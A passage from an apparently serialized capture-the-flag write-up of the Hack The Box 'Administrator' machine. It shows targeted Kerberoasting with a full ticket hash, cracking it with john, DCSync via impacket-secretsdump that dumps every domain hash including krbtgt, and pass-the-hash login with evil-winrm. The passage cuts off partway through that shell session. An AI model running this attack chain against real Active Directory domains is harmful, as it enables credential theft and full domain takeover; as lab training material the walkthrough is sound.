(ethan)\n$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb\u002Fethan*$f6a8c4fc077ea365f771c427ca47a260$b529a971983a39d5b77d53122475213a850d43f4bb4957e7746565fbaecf95106d9f28b4fde89882e406c79427f6af58d5ac21cf2f67cef559ea5779395041d25b14d80b15b2829f0de935ae9a586aabd709e5bdbdaa2e6adfb0c8a4f10ef6a152e3fcc4479b385b541b3ae5b74d5b40558e445cef100d1e25ca5d0364c63c5953cae2ac6e18d1e3e4067e2443660da1a7f87a2336f816287455d734e58be5b2a07dcee975af0ee66117a418396f8d9ae52251143e753b589a687e6488a7e16a911f557df1dd1061d7475913963943ad7e567ae90ef26a1d2f9b2608ae0343105cc560b4e785f11d2b5772d771bc194ae7dccf779bf58add601b1e380f8fca71d6c4b509d73d3988b6bb1f62fd7a9729e9ee4049dba977e192e39576eca3ea818088d90cd96f8c1ffa1e5e93d82c0d542f11be630c6c98bc417ac5e053ca68dc88291f4426cdcd7abcc2836e91936eb1e7e275d511f85ededa9781508101e5f7fa551611989826d24716905815c8a906c64eb255550c8084930c16b85da88246d0ab47e257772fbf520c5e02a238e68f1a6312ebd3ce4532e9e2a6dd28869ec14bff344136ba3ac0df0bd6d8a617d9e8647fe0cd68502e1c53709e86ff20fd06cac84d381062b14ad4f19af6c8b411f3856ba21d5a524d039d5abe3e3401447473c3168071aa9b920462ad72b012d3699846ce8bdd98ae5eed4b13fb1c8cc21110227db239596b36791ebf72cd56a1155bbf17215b856be764c39602255eca427ab2045546255674ae0590f3dfbf3809348c950f1442e8c91bdaaea5d391e84e04c1b922b766a3e772d5d6f84ac518b8ef6014350cbd28e7b44de4fb1a45443f0036e1bc43f2049d92bffd7f370033605cde68e3ec30e8aabe3209039235f0e03b37b20e9ed2f68de4785e814c8b944b942a9458462016df561207256b887a9a164332002b775e7476fb0830891752ea5a541ee3825d7702dd95265459c39b7015f19044e157cb9cd105c9262606ba20ca8986d282e0de5cac48ab5c45d2ed946b75fb852ba16f6258e0842206a7ae6fe5e1e5ac4102ea5b2985796cf15d2f1928109cbb9edf86da4bf72738a7b091addc223748d0621f2c877a984385bd70ec247355fbd18e1480bd2e323df5ab5e3544f099bafa98b6171eee4722b5058430ea68060bcc14ebd45e0cdaf65d755e3ba965b3c5891ac92942fe92b8e424369b66e021bb6dccb3055d969256627f29642ca1d774dd231afd151fb4eb7045a205d906c33906e5894bdda1737c18ed939b4026a185a2491626bfd12dbdc3cacc0fdf5a9efdcbd3931cba029e56629e47c651dad444c60aab8d8513aba6f4a01db8e16e210b186cf496df8ad9614a66693d1d04468612f6294abab76e2fa45a4c4b59f2228dadabe9631823fea9ea02f14bd4a3deb69dd90699e5ef2587707c02c68c102d1824c3a313047666d3408b6c74806bb590e1669e9a06bb03e2ea236b045989b79633bdf4228db510dea6a5d1c4f3b2eaa4e86616ac1b2e21c441b275\n[VERBOSE] SPN removed successfully for (ethan)\n",[30,4173,4174,4178,4192,4202,4212,4233,4252,4281],{"__ignoreMap":28},[33,4175,4176],{"class":35,"line":36},[33,4177,3835],{"class":39},[33,4179,4180,4182,4184,4186,4188,4190],{"class":35,"line":43},[33,4181,46],{"class":39},[33,4183,3842],{"class":178},[33,4185,1943],{"class":1393},[33,4187,2578],{"class":59},[33,4189,1943],{"class":1393},[33,4191,3851],{"class":178},[33,4193,4194,4196,4198,4200],{"class":35,"line":53},[33,4195,397],{"class":102},[33,4197,2627],{"class":1052},[33,4199,2291],{"class":102},[33,4201,3862],{"class":178},[33,4203,4204,4206,4208,4210],{"class":35,"line":63},[33,4205,397],{"class":102},[33,4207,2627],{"class":1052},[33,4209,2291],{"class":102},[33,4211,3873],{"class":178},[33,4213,4214,4216,4219,4221,4224,4226,4228,4231],{"class":35,"line":72},[33,4215,397],{"class":102},[33,4217,4218],{"class":178},"VERBOSE",[33,4220,2291],{"class":102},[33,4222,4223],{"class":178}," SPN added successfully ",[33,4225,2636],{"class":2635},[33,4227,3149],{"class":1393},[33,4229,4230],{"class":39},"ethan",[33,4232,437],{"class":1393},[33,4234,4235,4237,4239,4241,4244,4246,4248,4250],{"class":35,"line":79},[33,4236,397],{"class":102},[33,4238,2728],{"class":178},[33,4240,2291],{"class":102},[33,4242,4243],{"class":178}," Printing hash ",[33,4245,2636],{"class":2635},[33,4247,3149],{"class":1393},[33,4249,4230],{"class":39},[33,4251,437],{"class":1393},[33,4253,4254,4257,4260,4262,4264,4267,4270,4273,4276,4278],{"class":35,"line":88},[33,4255,4256],{"class":2653},"$krb5tgs$23",[33,4258,4259],{"class":178},"$",[33,4261,2627],{"class":1052},[33,4263,4230],{"class":178},[33,4265,4266],{"class":2653},"$ADMINISTRATOR",[33,4268,4269],{"class":178},".HTB",[33,4271,4272],{"class":2653},"$administrator",[33,4274,4275],{"class":178},".htb\u002Fethan",[33,4277,2627],{"class":1052},[33,4279,4280],{"class":2653},"$f6a8c4fc077ea365f771c427ca47a260$b529a971983a39d5b77d53122475213a850d43f4bb4957e7746565fbaecf95106d9f28b4fde89882e406c79427f6af58d5ac21cf2f67cef559ea5779395041d25b14d80b15b2829f0de935ae9a586aabd709e5bdbdaa2e6adfb0c8a4f10ef6a152e3fcc4479b385b541b3ae5b74d5b40558e445cef100d1e25ca5d0364c63c5953cae2ac6e18d1e3e4067e2443660da1a7f87a2336f816287455d734e58be5b2a07dcee975af0ee66117a418396f8d9ae52251143e753b589a687e6488a7e16a911f557df1dd1061d7475913963943ad7e567ae90ef26a1d2f9b2608ae0343105cc560b4e785f11d2b5772d771bc194ae7dccf779bf58add601b1e380f8fca71d6c4b509d73d3988b6bb1f62fd7a9729e9ee4049dba977e192e39576eca3ea818088d90cd96f8c1ffa1e5e93d82c0d542f11be630c6c98bc417ac5e053ca68dc88291f4426cdcd7abcc2836e91936eb1e7e275d511f85ededa9781508101e5f7fa551611989826d24716905815c8a906c64eb255550c8084930c16b85da88246d0ab47e257772fbf520c5e02a238e68f1a6312ebd3ce4532e9e2a6dd28869ec14bff344136ba3ac0df0bd6d8a617d9e8647fe0cd68502e1c53709e86ff20fd06cac84d381062b14ad4f19af6c8b411f3856ba21d5a524d039d5abe3e3401447473c3168071aa9b920462ad72b012d3699846ce8bdd98ae5eed4b13fb1c8cc21110227db239596b36791ebf72cd56a1155bbf17215b856be764c39602255eca427ab2045546255674ae0590f3dfbf3809348c950f1442e8c91bdaaea5d391e84e04c1b922b766a3e772d5d6f84ac518b8ef6014350cbd28e7b44de4fb1a45443f0036e1bc43f2049d92bffd7f370033605cde68e3ec30e8aabe3209039235f0e03b37b20e9ed2f68de4785e814c8b944b942a9458462016df561207256b887a9a164332002b775e7476fb0830891752ea5a541ee3825d7702dd95265459c39b7015f19044e157cb9cd105c9262606ba20ca8986d282e0de5cac48ab5c45d2ed946b75fb852ba16f6258e0842206a7ae6fe5e1e5ac4102ea5b2985796cf15d2f1928109cbb9edf86da4bf72738a7b091addc223748d0621f2c877a984385bd70ec247355fbd18e1480bd2e323df5ab5e3544f099bafa98b6171eee4722b5058430ea68060bcc14ebd45e0cdaf65d755e3ba965b3c5891ac92942fe92b8e424369b66e021bb6dccb3055d969256627f29642ca1d774dd231afd151fb4eb7045a205d906c33906e5894bdda1737c18ed939b4026a185a2491626bfd12dbdc3cacc0fdf5a9efdcbd3931cba029e56629e47c651dad444c60aab8d8513aba6f4a01db8e16e210b186cf496df8ad9614a66693d1d04468612f6294abab76e2fa45a4c4b59f2228dadabe9631823fea9ea02f14bd4a3deb69dd90699e5ef2587707c02c68c102d1824c3a313047666d3408b6c74806bb590e1669e9a06bb03e2ea236b045989b79633bdf4228db510dea6a5d1c4f3b2eaa4e86616ac1b2e21c441b275\n",[33,4282,4283,4285,4287,4289,4292,4294,4296,4298],{"class":35,"line":93},[33,4284,397],{"class":102},[33,4286,4218],{"class":178},[33,4288,2291],{"class":102},[33,4290,4291],{"class":178}," SPN removed successfully ",[33,4293,2636],{"class":2635},[33,4295,3149],{"class":1393},[33,4297,4230],{"class":39},[33,4299,437],{"class":1393},[16,4301,4302],{},"I then cracked the hash again with the help of “john” and the \"rockyou.txt\" wordlist.",[20,4304,4305],{},[23,4306,4308],{"className":25,"code":4307,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~\u002FtargetedKerberoast]\n└──╼ [★]$ john --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ethan.hash\nUsing default input encoding: UTF-8\nLoaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])\nWill run 4 OpenMP threads\nPress 'q' or Ctrl-C to abort, almost any other key for status\nlimpbizkit       (?)     \n1g 0:00:00:00 DONE (2024-11-17 15:44) 50.00g\u002Fs 256000p\u002Fs 256000c\u002Fs 256000C\u002Fs newzealand..babygrl\nUse the \"--show\" option to display all of the cracked passwords reliably\nSession completed. \n",[30,4309,4310,4314,4329,4342,4381,4393,4423,4431,4447,4477],{"__ignoreMap":28},[33,4311,4312],{"class":35,"line":36},[33,4313,3835],{"class":39},[33,4315,4316,4318,4320,4322,4324,4326],{"class":35,"line":43},[33,4317,46],{"class":39},[33,4319,3401],{"class":178},[33,4321,3404],{"class":2653},[33,4323,2657],{"class":1052},[33,4325,3409],{"class":59},[33,4327,4328],{"class":39}," ethan.hash\n",[33,4330,4331,4333,4335,4337,4339],{"class":35,"line":53},[33,4332,3416],{"class":39},[33,4334,3419],{"class":59},[33,4336,3422],{"class":59},[33,4338,3425],{"class":59},[33,4340,4341],{"class":59}," UTF-8\n",[33,4343,4344,4346,4348,4350,4352,4355,4358,4361,4364,4367,4370,4373,4376,4379],{"class":35,"line":63},[33,4345,3438],{"class":39},[33,4347,243],{"class":210},[33,4349,3443],{"class":59},[33,4351,3446],{"class":59},[33,4353,4354],{"class":178}," (krb5tgs, ",[33,4356,4357],{"class":59},"Kerberos",[33,4359,4360],{"class":210}," 5",[33,4362,4363],{"class":59}," TGS",[33,4365,4366],{"class":59}," etype",[33,4368,4369],{"class":210}," 23",[33,4371,4372],{"class":178}," [MD4 ",[33,4374,4375],{"class":59},"HMAC-MD5",[33,4377,4378],{"class":59}," RC4]",[33,4380,437],{"class":178},[33,4382,4383,4385,4387,4389,4391],{"class":35,"line":72},[33,4384,3495],{"class":39},[33,4386,3498],{"class":59},[33,4388,1533],{"class":210},[33,4390,3503],{"class":59},[33,4392,3506],{"class":59},[33,4394,4395,4397,4399,4401,4403,4405,4407,4409,4411,4413,4415,4417,4419,4421],{"class":35,"line":79},[33,4396,3511],{"class":39},[33,4398,3514],{"class":1393},[33,4400,3517],{"class":59},[33,4402,1943],{"class":1393},[33,4404,1460],{"class":59},[33,4406,3524],{"class":59},[33,4408,1546],{"class":59},[33,4410,3529],{"class":59},[33,4412,3532],{"class":59},[33,4414,1846],{"class":59},[33,4416,3537],{"class":59},[33,4418,3540],{"class":59},[33,4420,217],{"class":59},[33,4422,3545],{"class":59},[33,4424,4425,4428],{"class":35,"line":88},[33,4426,4427],{"class":39},"limpbizkit",[33,4429,4430],{"class":178},"       (?)     \n",[33,4432,4433,4435,4437,4439,4441,4444],{"class":35,"line":93},[33,4434,3558],{"class":39},[33,4436,3561],{"class":59},[33,4438,3564],{"class":59},[33,4440,3567],{"class":178},[33,4442,4443],{"class":59},"15:44",[33,4445,4446],{"class":178},") 50.00g\u002Fs 256000p\u002Fs 256000c\u002Fs 256000C\u002Fs newzealand..babygrl\n",[33,4448,4449,4451,4453,4455,4457,4459,4461,4463,4465,4467,4469,4471,4473,4475],{"class":35,"line":99},[33,4450,3578],{"class":39},[33,4452,3581],{"class":59},[33,4454,3584],{"class":1393},[33,4456,3587],{"class":59},[33,4458,2265],{"class":1393},[33,4460,3592],{"class":59},[33,4462,1546],{"class":59},[33,4464,3597],{"class":59},[33,4466,3600],{"class":59},[33,4468,3603],{"class":59},[33,4470,3581],{"class":59},[33,4472,3608],{"class":59},[33,4474,3611],{"class":59},[33,4476,3614],{"class":59},[33,4478,4479,4481],{"class":35,"line":118},[33,4480,3619],{"class":39},[33,4482,3622],{"class":59},[16,4484,4485],{},"Test the login with netexec and the cracked credentials.",[20,4487,4488],{},[23,4489,4491],{"className":25,"code":4490,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~\u002FtargetedKerberoast]\n└──╼ [★]$ netexec smb administrator.htb -u ethan -p limpbizkit\nSMB         10.129.134.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)\nSMB         10.129.134.50   445    DC               [+] administrator.htb\\ethan:limpbizkit\n",[30,4492,4493,4497,4504,4532],{"__ignoreMap":28},[33,4494,4495],{"class":35,"line":36},[33,4496,3835],{"class":39},[33,4498,4499,4501],{"class":35,"line":43},[33,4500,46],{"class":39},[33,4502,4503],{"class":178}," [★]$ netexec smb administrator.htb -u ethan -p limpbizkit\n",[33,4505,4506,4508,4510,4512,4514,4516,4518,4520,4522,4524,4526,4528,4530],{"class":35,"line":53},[33,4507,1956],{"class":39},[33,4509,1959],{"class":210},[33,4511,1962],{"class":210},[33,4513,1965],{"class":59},[33,4515,1968],{"class":178},[33,4517,1971],{"class":39},[33,4519,1974],{"class":178},[33,4521,1977],{"class":39},[33,4523,1974],{"class":178},[33,4525,1982],{"class":39},[33,4527,1974],{"class":178},[33,4529,1987],{"class":39},[33,4531,437],{"class":178},[33,4533,4534,4536,4538,4540,4542,4544,4547],{"class":35,"line":63},[33,4535,1956],{"class":39},[33,4537,1959],{"class":210},[33,4539,1962],{"class":210},[33,4541,1965],{"class":59},[33,4543,2002],{"class":178},[33,4545,4546],{"class":210},"\\e",[33,4548,4549],{"class":178},"than:limpbizkit\n",[16,4551,4552],{},"In Bloodhound we can see that the user “ethan” has the permissions “DCSync”.",[16,4554,4555],{},[2549,4556],{"alt":28,"src":4557},"\u002Fimages\u002Fposts\u002Fhack-the-box-administrator\u002Fattachments\u002F6.webp",[16,4559,4560],{},"Use the “impacket” tool to output all hashes.",[20,4562,4563],{},[23,4564,4566],{"className":25,"code":4565,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~]\n└──╼ [★]$ impacket-secretsdump administrator.htb\u002Fethan:limpbizkit@administrator.htb\nImpacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and its affiliated companies \n\n[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied \n[*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)\n[*] Using the DRSUAPI method to get NTDS.DIT secrets\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nkrbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::\nadministrator.htb\\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::\nadministrator.htb\\michael:1109:aad3b435b51404eeaad3b435b51404ee:f60d4512e66a84cd00127a50a1d26c79:::\nadministrator.htb\\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:f60d4512e66a84cd00127a50a1d26c79:::\nadministrator.htb\\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::\nadministrator.htb\\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::\nadministrator.htb\\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::\nadministrator.htb\\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::\nDC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::\n[*] Kerberos keys grabbed\nAdministrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664\nAdministrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2\nAdministrator:des-cbc-md5:403286f7cdf18385\nkrbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648\nkrbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94\nkrbtgt:des-cbc-md5:2c0bc7d0250dbfc7\nadministrator.htb\\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3\nadministrator.htb\\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48\nadministrator.htb\\olivia:des-cbc-md5:bc2a4a7929c198e9\nadministrator.htb\\michael:aes256-cts-hmac-sha1-96:b7c39960c41454fc13efb89049566ed59272e8fc961e85cfbde796209e667e63\nadministrator.htb\\michael:aes128-cts-hmac-sha1-96:ba6db71728dfb70d432389892d109a41\nadministrator.htb\\michael:des-cbc-md5:fdef4c259132f264\nadministrator.htb\\benjamin:aes256-cts-hmac-sha1-96:b4b68260a6c909d38751e0dec33eb9ecdda468717260e15500b797da597b912f\nadministrator.htb\\benjamin:aes128-cts-hmac-sha1-96:a287285e7e2f400f14123f4020d29db0\nadministrator.htb\\benjamin:des-cbc-md5:bffd088fd3d6c797\nadministrator.htb\\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4\nadministrator.htb\\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218\nadministrator.htb\\emily:des-cbc-md5:804343fb6e0dbc51\nadministrator.htb\\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f\nadministrator.htb\\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f\nadministrator.htb\\ethan:des-cbc-md5:58387aef9d6754fb\nadministrator.htb\\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6\nadministrator.htb\\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade\nadministrator.htb\\alexander:des-cbc-md5:49ba9dcb6d07d0bf\nadministrator.htb\\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82\nadministrator.htb\\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e\nadministrator.htb\\emma:des-cbc-md5:3249fba89813ef5d\nDC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb\nDC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d\nDC$:des-cbc-md5:f483547c4325492a\n[*] Cleaning up...\n",[30,4567,4568,4572,4579,4612,4616,4628,4644,4655,4660,4665,4670,4675,4680,4685,4690,4695,4700,4705,4710,4721,4726,4731,4736,4741,4746,4751,4756,4761,4766,4771,4776,4781,4786,4791,4796,4801,4806,4811,4816,4821,4826,4831,4836,4841,4846,4851,4856,4861,4866,4871],{"__ignoreMap":28},[33,4569,4570],{"class":35,"line":36},[33,4571,171],{"class":39},[33,4573,4574,4576],{"class":35,"line":43},[33,4575,46],{"class":39},[33,4577,4578],{"class":178}," [★]$ impacket-secretsdump administrator.htb\u002Fethan:limpbizkit@administrator.htb\n",[33,4580,4581,4584,4587,4590,4593,4596,4599,4601,4604,4607,4610],{"class":35,"line":53},[33,4582,4583],{"class":39},"Impacket",[33,4585,4586],{"class":59}," v0.13.0.dev0+20240916.171021.65b774d",[33,4588,4589],{"class":59}," -",[33,4591,4592],{"class":59}," Copyright",[33,4594,4595],{"class":59}," Fortra,",[33,4597,4598],{"class":59}," LLC",[33,4600,1663],{"class":59},[33,4602,4603],{"class":59}," its",[33,4605,4606],{"class":59}," affiliated",[33,4608,4609],{"class":59}," companies",[33,4611,1059],{"class":178},[33,4613,4614],{"class":35,"line":63},[33,4615,76],{"emptyLinePlaceholder":75},[33,4617,4618,4620,4623,4625],{"class":35,"line":72},[33,4619,397],{"class":102},[33,4621,4622],{"class":178},"-",[33,4624,2291],{"class":102},[33,4626,4627],{"class":178}," RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied \n",[33,4629,4630,4632,4634,4636,4639,4642],{"class":35,"line":79},[33,4631,397],{"class":102},[33,4633,2627],{"class":1052},[33,4635,2291],{"class":102},[33,4637,4638],{"class":178}," Dumping Domain Credentials (",[33,4640,4641],{"class":39},"domain\\uid:rid:lmhash:nthash",[33,4643,437],{"class":178},[33,4645,4646,4648,4650,4652],{"class":35,"line":88},[33,4647,397],{"class":102},[33,4649,2627],{"class":1052},[33,4651,2291],{"class":102},[33,4653,4654],{"class":178}," Using the DRSUAPI method to get NTDS.DIT secrets\n",[33,4656,4657],{"class":35,"line":93},[33,4658,4659],{"class":39},"Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::\n",[33,4661,4662],{"class":35,"line":99},[33,4663,4664],{"class":39},"Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\n",[33,4666,4667],{"class":35,"line":118},[33,4668,4669],{"class":39},"krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::\n",[33,4671,4672],{"class":35,"line":127},[33,4673,4674],{"class":39},"administrator.htb\\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::\n",[33,4676,4677],{"class":35,"line":136},[33,4678,4679],{"class":39},"administrator.htb\\michael:1109:aad3b435b51404eeaad3b435b51404ee:f60d4512e66a84cd00127a50a1d26c79:::\n",[33,4681,4682],{"class":35,"line":144},[33,4683,4684],{"class":39},"administrator.htb\\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:f60d4512e66a84cd00127a50a1d26c79:::\n",[33,4686,4687],{"class":35,"line":355},[33,4688,4689],{"class":39},"administrator.htb\\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::\n",[33,4691,4692],{"class":35,"line":370},[33,4693,4694],{"class":39},"administrator.htb\\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::\n",[33,4696,4697],{"class":35,"line":385},[33,4698,4699],{"class":39},"administrator.htb\\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::\n",[33,4701,4702],{"class":35,"line":409},[33,4703,4704],{"class":39},"administrator.htb\\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::\n",[33,4706,4707],{"class":35,"line":440},[33,4708,4709],{"class":39},"DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::\n",[33,4711,4712,4714,4716,4718],{"class":35,"line":457},[33,4713,397],{"class":102},[33,4715,2627],{"class":1052},[33,4717,2291],{"class":102},[33,4719,4720],{"class":178}," Kerberos keys grabbed\n",[33,4722,4723],{"class":35,"line":475},[33,4724,4725],{"class":39},"Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664\n",[33,4727,4728],{"class":35,"line":496},[33,4729,4730],{"class":39},"Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2\n",[33,4732,4733],{"class":35,"line":512},[33,4734,4735],{"class":39},"Administrator:des-cbc-md5:403286f7cdf18385\n",[33,4737,4738],{"class":35,"line":528},[33,4739,4740],{"class":39},"krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648\n",[33,4742,4743],{"class":35,"line":544},[33,4744,4745],{"class":39},"krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94\n",[33,4747,4748],{"class":35,"line":560},[33,4749,4750],{"class":39},"krbtgt:des-cbc-md5:2c0bc7d0250dbfc7\n",[33,4752,4753],{"class":35,"line":576},[33,4754,4755],{"class":39},"administrator.htb\\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3\n",[33,4757,4758],{"class":35,"line":592},[33,4759,4760],{"class":39},"administrator.htb\\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48\n",[33,4762,4763],{"class":35,"line":608},[33,4764,4765],{"class":39},"administrator.htb\\olivia:des-cbc-md5:bc2a4a7929c198e9\n",[33,4767,4768],{"class":35,"line":624},[33,4769,4770],{"class":39},"administrator.htb\\michael:aes256-cts-hmac-sha1-96:b7c39960c41454fc13efb89049566ed59272e8fc961e85cfbde796209e667e63\n",[33,4772,4773],{"class":35,"line":640},[33,4774,4775],{"class":39},"administrator.htb\\michael:aes128-cts-hmac-sha1-96:ba6db71728dfb70d432389892d109a41\n",[33,4777,4778],{"class":35,"line":656},[33,4779,4780],{"class":39},"administrator.htb\\michael:des-cbc-md5:fdef4c259132f264\n",[33,4782,4783],{"class":35,"line":672},[33,4784,4785],{"class":39},"administrator.htb\\benjamin:aes256-cts-hmac-sha1-96:b4b68260a6c909d38751e0dec33eb9ecdda468717260e15500b797da597b912f\n",[33,4787,4788],{"class":35,"line":701},[33,4789,4790],{"class":39},"administrator.htb\\benjamin:aes128-cts-hmac-sha1-96:a287285e7e2f400f14123f4020d29db0\n",[33,4792,4793],{"class":35,"line":716},[33,4794,4795],{"class":39},"administrator.htb\\benjamin:des-cbc-md5:bffd088fd3d6c797\n",[33,4797,4798],{"class":35,"line":734},[33,4799,4800],{"class":39},"administrator.htb\\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4\n",[33,4802,4803],{"class":35,"line":767},[33,4804,4805],{"class":39},"administrator.htb\\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218\n",[33,4807,4808],{"class":35,"line":780},[33,4809,4810],{"class":39},"administrator.htb\\emily:des-cbc-md5:804343fb6e0dbc51\n",[33,4812,4813],{"class":35,"line":797},[33,4814,4815],{"class":39},"administrator.htb\\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f\n",[33,4817,4818],{"class":35,"line":808},[33,4819,4820],{"class":39},"administrator.htb\\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f\n",[33,4822,4823],{"class":35,"line":824},[33,4824,4825],{"class":39},"administrator.htb\\ethan:des-cbc-md5:58387aef9d6754fb\n",[33,4827,4828],{"class":35,"line":841},[33,4829,4830],{"class":39},"administrator.htb\\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6\n",[33,4832,4833],{"class":35,"line":852},[33,4834,4835],{"class":39},"administrator.htb\\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade\n",[33,4837,4838],{"class":35,"line":868},[33,4839,4840],{"class":39},"administrator.htb\\alexander:des-cbc-md5:49ba9dcb6d07d0bf\n",[33,4842,4843],{"class":35,"line":885},[33,4844,4845],{"class":39},"administrator.htb\\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82\n",[33,4847,4848],{"class":35,"line":896},[33,4849,4850],{"class":39},"administrator.htb\\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e\n",[33,4852,4853],{"class":35,"line":911},[33,4854,4855],{"class":39},"administrator.htb\\emma:des-cbc-md5:3249fba89813ef5d\n",[33,4857,4858],{"class":35,"line":928},[33,4859,4860],{"class":39},"DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb\n",[33,4862,4863],{"class":35,"line":961},[33,4864,4865],{"class":39},"DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d\n",[33,4867,4868],{"class":35,"line":983},[33,4869,4870],{"class":39},"DC$:des-cbc-md5:f483547c4325492a\n",[33,4872,4873,4875,4877,4879],{"class":35,"line":1006},[33,4874,397],{"class":102},[33,4876,2627],{"class":1052},[33,4878,2291],{"class":102},[33,4880,4881],{"class":178}," Cleaning up...\n",[16,4883,4884],{},"Log in with the administrator's hash via WinRM.",[20,4886,4887],{},[23,4888,4890],{"className":25,"code":4889,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~]\n└──╼ [★]$ evil-winrm -i administrator.htb -u Administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e\n                                        \nEvil-WinRM shell v3.5\n                                        \nWarning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine\n                                        \nData: For more information, check Evil-WinRM GitHub: https:\u002F\u002Fgithub.com\u002FHackplayers\u002Fevil-winrm#Remote-path-completion\n                                        \nInfo: Establishing connection to remote endpoint\n*Evil-WinRM* PS C:\\Users\\Administrator\\Documents> cd ..\n*Evil-WinRM* PS C:\\Users\\Administrator> cd Desktop\n*Evil-WinRM* PS 